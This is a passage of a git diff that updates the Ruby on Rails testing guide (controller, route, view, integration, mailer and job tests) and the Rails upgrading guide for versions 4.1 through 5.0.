+Run options: -n test_should_create_article --seed 32266
+
+# Running:
 
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
+F
 
-NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
+Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.
+
+  1) Failure:
+ArticlesControllerTest#test_should_create_article [/Users/zzak/code/bench/sharedapp/test/controllers/articles_controller_test.rb:16]:
+--- expected
++++ actual
+@@ -1 +1 @@
+-"Article was successfully created."
++nil
+
+1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
+```
+
+Let's implement the flash message now in our controller. Our `:create` action should now look like this:
+
+```ruby
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    flash[:notice] = 'Article was successfully created.'
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+```
+
+Now if we run our tests, we should see it pass:
+
+```bash
+$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article
+Run options: -n test_should_create_article --seed 18981
+
+# Running:
+
+.
+
+Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.
+
+1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Putting it together
+
+At this point our Articles controller tests the `:index` as well as `:new` and `:create` actions. What about dealing with existing data?
+
+Let's write a test for the `:show` action:
+
+```ruby
+test "should show article" do
+  article = articles(:one)
+  get :show, params: { id: article.id }
+  assert_response :success
+end
+```
+
+Remember from our discussion earlier on fixtures the `articles()` method will give us access to our Articles fixtures.
+
+How about deleting an existing Article?
+
+```ruby
+test "should destroy article" do
+  article = articles(:one)
+  assert_difference('Article.count', -1) do
+    delete :destroy, params: { id: article.id }
+  end
+
+  assert_redirected_to articles_path
+end
+```
+
+We can also add a test for updating an existing Article.
+
+```ruby
+test "should update article" do
+  article = articles(:one)
+  patch :update, params: { id: article.id, article: { title: "updated" } }
+  assert_redirected_to article_path(assigns(:article))
+end
+```
+
+Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`.
+
+Our test should now look something like this, disregard the other tests we're leaving them out for brevity.
+
+```ruby
+require 'test_helper'
+
+class ArticlesControllerTest < ActionController::TestCase
+  # called before every single test
+  def setup
+    @article = articles(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # when controller is using cache it may be a good idea to reset it afterwards
+    Rails.cache.clear
+  end
+
+  test "should show article" do
+    # Reuse the @article instance variable from setup
+    get :show, params: { id: @article.id }
+    assert_response :success
+  end
+
+  test "should destroy article" do
+    assert_difference('Article.count', -1) do
+      delete :destroy, params: { id: @article.id }
+    end
+
+    assert_redirected_to articles_path
+  end
+
+  test "should update article" do
+    patch :update, params: { id: @article.id, article: { title: "updated" } }
+    assert_redirected_to article_path(assigns(:article))
+  end
+end
+```
+
+Similar to other callbacks in Rails, the `setup` and `teardown` methods can also be used by passing a block, lambda, or method name as a symbol to call.
+
+### Test helpers
+
+To avoid code duplication, you can add your own test helpers.
+Sign in helper can be a good example:
+
+```ruby
+test/test_helper.rb
+
+module SignInHelper
+  def sign_in(user)
+    session[:user_id] = user.id
+  end
+end
+
+class ActionController::TestCase
+  include SignInHelper
+end
+```
+
+```ruby
+require 'test_helper'
+
+class ProfileControllerTest < ActionController::TestCase
+
+  test "should show profile" do
+    # helper is now reusable from any controller test case
+    sign_in users(:david)
+
+    get :show
+    assert_response :success
+    assert_equal users(:david), assigns(:user)
+  end
+end
+```
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, it is recommended that you test your routes. Below are example tests for the routes of default `show` and `create` action of `Articles` controller above and it should look like:
+
+```ruby
+class ArticleRoutesTest < ActionController::TestCase
+  test "should route to article" do
+    assert_routing '/articles/1', { controller: "articles", action: "show", id: "1" }
+  end
+
+  test "should route to create article" do
+    assert_routing({ method: 'post', path: '/articles' }, { controller: "articles", action: "create" })
+  end
+end
+```
+
+I've added this file here `test/controllers/articles_routes_test.rb` and if we run the test we should see:
+
+```bash
+$ bin/rake test test/controllers/articles_routes_test.rb
+
+# Running:
+
+..
+
+Finished in 0.069381s, 28.8263 runs/s, 86.4790 assertions/s.
+
+2 runs, 6 assertions, 0 failures, 0 errors, 0 skips
+```
+
+For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
+
+Testing Views
+-------------
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax.
 
 There are two forms of `assert_select`:
 
-`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.
 
-`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants.
 
 For example, you could verify the contents on the title element in your response with:
 
@@ -610,7 +880,10 @@ For example, you could verify the contents on the title element in your response
 assert_select 'title', "Welcome to Rails Testing Guide"
 ```
 
-You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
+You can also use nested `assert_select` blocks for deeper investigation.
+
+In the following example, the inner `assert_select` for `li.menu_item` runs
+within the collection of elements selected by the outer block:
 
 ```ruby
 assert_select 'ul.navigation' do
@@ -618,7 +891,9 @@ assert_select 'ul.navigation' do
 end
 ```
 
-Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+A collection of selected elements may be iterated through so that `assert_select` may be called separately for each element.
+
+For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.
 
 ```ruby
 assert_select "ol" do |elements|
@@ -632,7 +907,7 @@ assert_select "ol" do
 end
 ```
 
-The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
+This assertion is quite powerful. For more advanced usage, refer to its [documentation](http://www.rubydoc.info/github/rails/rails-dom-testing).
 
 #### Additional View-Based Assertions
 
@@ -652,15 +927,48 @@ assert_select_email do
 end
 ```
 
+Testing helpers
+---------------
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory.
+
+A helper test looks like so:
+
+```ruby
+require 'test_helper'
+
+class UserHelperTest < ActionView::TestCase
+end
+```
+
+A helper is just a simple module where you can define methods which are
+available into your views. To test the output of the helper's methods, you just
+have to use a mixin like this:
+
+```ruby
+class UserHelperTest < ActionView::TestCase
+  include UserHelper
+
+  test "should return the user name" do
+    # ...
+  end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
 Integration Testing
 -------------------
 
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+Integration tests are used to test how various parts of your application interact. They are generally used to test important work flows within your application.
 
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+For creating Rails integration tests, we use the 'test/integration' directory for your application. Rails provides a generator to create an integration test skeleton for you.
 
 ```bash
-$ rails generate integration_test user_flows
+$ bin/rails generate integration_test user_flows
       exists  test/integration/
       create  test/integration/user_flows_test.rb
 ```
@@ -677,233 +985,94 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
 end
 ```
 
-Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+Inheriting from `ActionDispatch::IntegrationTest` comes with some advantages. This makes available some additional helpers to use in your integration tests.
 
 ### Helpers Available for Integration Tests
 
-In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+In addition to the standard testing helpers, inheriting `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's briefly introduce you to the three categories of helpers you get to choose from.
 
-| Helper                                                             | Purpose |
-| ------------------------------------------------------------------ | ------- |
-| `https?`                                                           | Returns `true` if the session is mimicking a secure HTTPS request.|
-| `https!`                                                           | Allows you to mimic a secure HTTPS request.|
-| `host!`                                                            | Allows you to set the host name to use in the next request.|
-| `redirect?`                                                        | Returns `true` if the last request was a redirect.|
-| `follow_redirect!`                                                 | Follows a single redirect response.|
-| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.|
-| `post_via_redirect(path, [parameters], [headers])`                 | Allows you to make an HTTP POST request and follow any subsequent redirects.|
-| `get_via_redirect(path, [parameters], [headers])`                  | Allows you to make an HTTP GET request and follow any subsequent redirects.|
-| `patch_via_redirect(path, [parameters], [headers])`                | Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
-| `put_via_redirect(path, [parameters], [headers])`                  | Allows you to make an HTTP PUT request and follow any subsequent redirects.|
-| `delete_via_redirect(path, [parameters], [headers])`               | Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
-| `open_session`                                                     | Opens a new session instance.|
+For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html).
 
-### Integration Testing Examples
+When performing requests, you will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for your use.
 
-A simple integration test that exercises multiple controllers:
+If you'd like to modify the session, or state of your integration test you should look for [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help.
 
-```ruby
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  fixtures :users
+### Implementing an integration test
 
-  test "login and browse site" do
-    # login via https
-    https!
-    get "/login"
-    assert_response :success
+Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.
 
-    post_via_redirect "/login", username: users(:david).username, password: users(:david).password
-    assert_equal '/welcome', path
-    assert_equal 'Welcome david!', flash[:notice]
+We'll start by generating our integration test skeleton:
 
-    https!(false)
-    get "/posts/all"
-    assert_response :success
-    assert assigns(:products)
-  end
-end
+```bash
+$ bin/rails generate integration_test blog_flow
 ```
 
-As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+It should have created a test file placeholder for us, with the output of the previous command you should see:
 
-Here's an example of multiple sessions and custom DSL in an integration test
+```bash
+      invoke  test_unit
+      create    test/integration/blog_flow_test.rb
+```
+
+Now let's open that file and write our first assertion:
 
 ```ruby
 require 'test_helper'
 
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  fixtures :users
-
-  test "login and browse site" do
-
-    # User david logs in
-    david = login(:david)
-    # User guest logs in
-    guest = login(:guest)
-
-    # Both are now available in different sessions
-    assert_equal 'Welcome david!', david.flash[:notice]
-    assert_equal 'Welcome guest!', guest.flash[:notice]
-
-    # User david can browse site
-    david.browses_site
-    # User guest can browse site as well
-    guest.browses_site
-
-    # Continue with other assertions
-  end
-
-  private
-
-  module CustomDsl
-    def browses_site
-      get "/products/all"
-      assert_response :success
-      assert assigns(:products)
-    end
-  end
-
-  def login(user)
-    open_session do |sess|
-      sess.extend(CustomDsl)
-      u = users(user)
-      sess.https!
-      sess.post "/login", username: u.username, password: u.password
-      assert_equal '/welcome', path
-      sess.https!(false)
-    end
+class BlogFlowTest < ActionDispatch::IntegrationTest
+  test "can see the welcome page" do
+    get "/"
+    assert_select "h1", "Welcome#index"
   end
 end
 ```
 
-Rake Tasks for Running your Tests
----------------------------------
-
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
-
-| Tasks                   | Description |
-| ----------------------- | ----------- |
-| `rake test`             | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default|
-| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
-| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
-| `rake test:helpers`     | Runs all the helper tests from `test/helpers`|
-| `rake test:integration` | Runs all the integration tests from `test/integration`|
-| `rake test:mailers`     | Runs all the mailer tests from `test/mailers`|
-| `rake test:models`      | Runs all the model tests from `test/models`|
-| `rake test:units`       | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
-
-
-Brief Note About `MiniTest`
------------------------------
-
-Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
-us to use all of the basic assertions in our tests.
+If you remember from earlier in the "Testing Views" section we covered `assert_select` to query the resulting HTML of a request.
 
-Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem.
+When visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass.
 
-NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
-For more information on `MiniTest`, refer to [Minitest](http://www.ruby-doc.org/stdlib-1.9.3/libdoc/minitest/unit/rdoc/)
+#### Creating articles integration
 
-Setup and Teardown
-------------------
-
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
+How about testing our ability to create a new article in our blog and see the resulting article.
 
 ```ruby
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  def setup
-    @post = posts(:one)
-  end
-
-  # called after every single test
-  def teardown
-    # as we are re-initializing @post before every test
-    # setting it to nil here is not essential but I hope
-    # you understand how you can use the teardown method
-    @post = nil
-  end
-
-  test "should show post" do
-    get :show, id: @post.id
-    assert_response :success
-  end
-
-  test "should destroy post" do
-    assert_difference('Post.count', -1) do
-      delete :destroy, id: @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
+test "can create an article" do
+  get "/articles/new"
+  assert_response :success
+  assert_template "articles/new", partial: "articles/_form"
 
+  post "/articles",
+    params: { article: { title: "can create", body: "article successfully." } }
+  assert_response :redirect
+  follow_redirect!
+  assert_response :success
+  assert_template "articles/show"
+  assert_select "p", "Title:\n  can create"
 end
 ```
 
-Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
+Let's break this test down so we can understand it.
 
-* a block
-* a method (like in the earlier example)
-* a method name as a symbol
-* a lambda
+We start by calling the `:new` action on our Articles controller. This response should be successful, and we can verify the correct template is rendered including the form partial.
 
-Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
+After this we make a post request to the `:create` action of our Articles controller:
 
 ```ruby
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  setup :initialize_post
-
-  # called after every single test
-  def teardown
-    @post = nil
-  end
-
-  test "should show post" do
-    get :show, id: @post.id
-    assert_response :success
-  end
-
-  test "should update post" do
-    patch :update, id: @post.id, post: {}
-    assert_redirected_to post_path(assigns(:post))
-  end
-
-  test "should destroy post" do
-    assert_difference('Post.count', -1) do
-      delete :destroy, id: @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-  private
+post "/articles",
+  params: { article: { title: "can create", body: "article successfully." } }
+assert_response :redirect
+follow_redirect!
+```
 
-  def initialize_post
-    @post = posts(:one)
-  end
+The two lines following the request are to handle the redirect we setup when creating a new article.
 
-end
-```
+NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made.
 
-Testing Routes
---------------
+Finally we can assert that our response was successful, template was rendered, and our new article is readable on the page.
 
-Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
+#### Taking it further
 
-```ruby
-test "should route to post" do
-  assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
-end
-```
+We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editting comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications.
 
 Testing Your Mailers
 --------------------
@@ -942,12 +1111,12 @@ Here's a unit test to test a mailer named `UserMailer` whose action `invite` is
 require 'test_helper'
 
 class UserMailerTest < ActionMailer::TestCase
-  tests UserMailer
   test "invite" do
     # Send the email, then test that it got queued
-    email = UserMailer.create_invite('me@example.com',
-                                     'friend@example.com', Time.now).deliver
-    assert !ActionMailer::Base.deliveries.empty?
+    assert_emails 1 do
+      email = UserMailer.create_invite('me@example.com',
+                                       'friend@example.com', Time.now).deliver_now
+    end
 
     # Test the body of the sent email contains what we expect it to
     assert_equal ['me@example.com'], email.from
@@ -995,67 +1164,78 @@ require 'test_helper'
 class UserControllerTest < ActionController::TestCase
   test "invite friend" do
     assert_difference 'ActionMailer::Base.deliveries.size', +1 do
-      post :invite_friend, email: 'friend@example.com'
+      post :invite_friend, params: { email: 'friend@example.com' }
     end
     invite_email = ActionMailer::Base.deliveries.last
 
     assert_equal "You have been invited by me@example.com", invite_email.subject
     assert_equal 'friend@example.com', invite_email.to[0]
-    assert_match(/Hi friend@example.com/, invite_email.body)
+    assert_match(/Hi friend@example.com/, invite_email.body.to_s)
   end
 end
 ```
 
-Testing helpers
----------------
+Testing Jobs
+------------
 
-In order to test helpers, all you need to do is check that the output of the
-helper method matches what you'd expect. Tests related to the helpers are
-located under the `test/helpers` directory. Rails provides a generator which
-generates both the helper and the test file:
+Since your custom jobs can be queued at different levels inside your application,
+you'll need to test both jobs themselves (their behavior when they get enqueued)
+and that other entities correctly enqueue them.
 
-```bash
-$ rails generate helper User
-      create  app/helpers/user_helper.rb
-      invoke  test_unit
-      create    test/helpers/user_helper_test.rb
-```
+### A Basic Test Case
 
-The generated test file contains the following code:
+By default, when you generate a job, an associated test will be generated as well
+under the `test/jobs` directory. Here's an example test with a billing job:
 
 ```ruby
 require 'test_helper'
 
-class UserHelperTest < ActionView::TestCase
+class BillingJobTest < ActiveJob::TestCase
+  test 'that account is charged' do
+    BillingJob.perform_now(account, product)
+    assert account.reload.charged_for?(product)
+  end
 end
 ```
 
-A helper is just a simple module where you can define methods which are
-available into your views. To test the output of the helper's methods, you just
-have to use a mixin like this:
+This test is pretty simple and only asserts that the job get the work done
+as expected.
+
+By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that
+your jobs are performed inline. It will also ensure that all previously performed
+and enqueued jobs are cleared before any test run so you can safely assume that
+no jobs have already been executed in the scope of each test.
+
+### Custom Assertions And Testing Jobs Inside Other Components
+
+Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html).
+
+It's a good practice to ensure that your jobs correctly get enqueued or performed
+wherever you invoke them (e.g. inside your controllers). This is precisely where
+the custom assertions provided by Active Job are pretty useful. For instance,
+within a model:
 
 ```ruby
-class UserHelperTest < ActionView::TestCase
-  include UserHelper
+require 'test_helper'
 
-  test "should return the user name" do
-    # ...
+class ProductTest < ActiveJob::TestCase
+  test 'billing job scheduling' do
+    assert_enqueued_with(job: BillingJob) do
+      product.charge(account)
+    end
   end
 end
 ```
 
-Moreover, since the test class extends from `ActionView::TestCase`, you have
-access to Rails' helper methods such as `link_to` or `pluralize`.
-
 Other Testing Approaches
 ------------------------
 
-The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+The built-in `minitest` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
 
 * [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
 * [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
-* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
 * [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run.
 * [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
 * [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
 * [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
+* [Capybara](http://jnicklas.github.com/capybara/), Acceptance test framework for web applications
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index 357918a73c..20b90bdba0 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -1,12 +1,16 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 A Guide for Upgrading Ruby on Rails
 ===================================
 
 This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
 
+--------------------------------------------------------------------------------
+
 General Advice
 --------------
 
-Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
 
 ### Test Coverage
 
@@ -16,12 +20,689 @@ The best way to be sure that your application still works after upgrading is to
 
 Rails generally stays close to the latest released Ruby version when it's released:
 
-* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
-* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 5 requires Ruby 2.2 or newer.
 * Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
 
 TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
 
+### The Rake Task
+
+Rails provides the `rails:update` rake task. After updating the Rails version
+in the Gemfile, run this rake task.
+This will help you with the creation of new files and changes of old files in an
+interactive session.
+
+```bash
+$ rake rails:update
+   identical  config/boot.rb
+       exist  config
+    conflict  config/routes.rb
+Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
+       force  config/routes.rb
+    conflict  config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+       force  config/application.rb
+    conflict  config/environment.rb
+...
+```
+
+Don't forget to review the difference, to see if there were any unexpected changes.
+
+Upgrading from Rails 4.2 to Rails 5.0
+-------------------------------------
+
+### Halting callback chains by returning `false`
+
+In Rails 4.2, when a 'before' callback returns `false` in ActiveRecord,
+ActiveModel and ActiveModel::Validations, then the entire callback chain
+is halted. In other words, successive 'before' callbacks are not executed,
+and neither is the action wrapped in callbacks.
+
+In Rails 5.0, returning `false` in a callback will not have this side effect
+of halting the callback chain. Instead, callback chains must be explicitly
+halted by calling `throw(:abort)`.
+
+When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in a callback
+will still halt the callback chain, but you will receive a deprecation warning
+about this upcoming change.
+
+When you are ready, you can opt into the new behavior and remove the deprecation
+warning by adding the following configuration to your `config/application.rb`:
+
+    config.active_support.halt_callback_chains_on_return_false = false
+
+See [#17227](https://github.com/rails/rails/pull/17227) for more details.
+
+Upgrading from Rails 4.1 to Rails 4.2
+-------------------------------------
+
+### Web Console
+
+First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
+
+### Responders
+
+`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+```
+
+Instance-level `respond_to` is unaffected and does not require the additional gem:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+```
+
+See [#16526](https://github.com/rails/rails/pull/16526) for more details.
+
+### Error handling in transaction callbacks
+
+Currently, Active Record suppresses errors raised
+within `after_rollback` or `after_commit` callbacks and only prints them to
+the logs. In the next version, these errors will no longer be suppressed.
+Instead, the errors will propagate normally just like in other Active
+Record callbacks.
+
+When you define a `after_rollback` or `after_commit` callback, you
+will receive a deprecation warning about this upcoming change. When
+you are ready, you can opt into the new behavior and remove the
+deprecation warning by adding following configuration to your
+`config/application.rb`:
+
+    config.active_record.raise_in_transactional_callbacks = true
+
+See [#14488](https://github.com/rails/rails/pull/14488) and
+[#16537](https://github.com/rails/rails/pull/16537) for more details.
+
+### Ordering of test cases
+
+In Rails 5.0, test cases will be executed in random order by default. In
+anticipation of this change, Rails 4.2 introduced a new configuration option
+`active_support.test_order` for explicitly specifying the test ordering. This
+allows you to either lock down the current behavior by setting the option to
+`:sorted`, or opt into the future behavior by setting the option to `:random`.
+
+If you do not specify a value for this option, a deprecation warning will be
+emitted. To avoid this, add the following line to your test environment:
+
+```ruby
+# config/environments/test.rb
+Rails.application.configure do
+  config.active_support.test_order = :sorted # or `:random` if you prefer
+end
+```
+
+### Serialized attributes
+
+When using a custom coder (e.g. `serialize :metadata, JSON`),
+assigning `nil` to a serialized attribute will save it to the database
+as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"`
+when using the `JSON` coder).
+
+### Production log level
+
+In Rails 5, the default log level for the production environment will be changed
+to `:debug` (from `:info`). To preserve the current default, add the following
+line to your `production.rb`:
+
+```ruby
+# Set to `:info` to match the current default, or set to `:debug` to opt-into
+# the future default.
+config.log_level = :info
+```
+
+### `after_bundle` in Rails templates
+
+If you have a Rails template that adds all the files in version control, it
+fails to add the generated binstubs because it gets executed before Bundler:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+You can now wrap the `git` calls in an `after_bundle` block. It will be run
+after the binstubs have been generated.
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+```
+
+### Rails HTML Sanitizer
+
+There's a new choice for sanitizing HTML fragments in your applications. The
+venerable html-scanner approach is now officially being deprecated in favor of
+[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).
+
+This means the methods `sanitize`, `sanitize_css`, `strip_tags` and
+`strip_links` are backed by a new implementation.
+
+This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which
+wraps XML parsers written in both C and Java, so sanitization should be faster
+no matter which Ruby version you run.
+
+The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for
+powerful scrubbing.
+[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).
+
+Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`.
+Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.
+
+The documentation for `PermitScrubber` and `TargetScrubber` explains how you
+can gain complete control over when and how elements should be stripped.
+
+If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile:
+
+```ruby
+gem 'rails-deprecated_sanitizer'
+```
+
+### Rails DOM Testing
+
+The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
+
+
+### Masked Authenticity Tokens
+
+In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request.  Thus, tokens are validated by unmasking and then decrypting.  As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.
+
+### Action Mailer
+
+Previously, calling a mailer method on a mailer class will result in the
+corresponding instance method being executed directly. With the introduction of
+Active Job and `#deliver_later`, this is no longer true. In Rails 4.2, the
+invocation of the instance methods are deferred until either `deliver_now` or
+`deliver_later` is called. For example:
+
+```ruby
+class Notifier < ActionMailer::Base
+  def notify(user, ...)
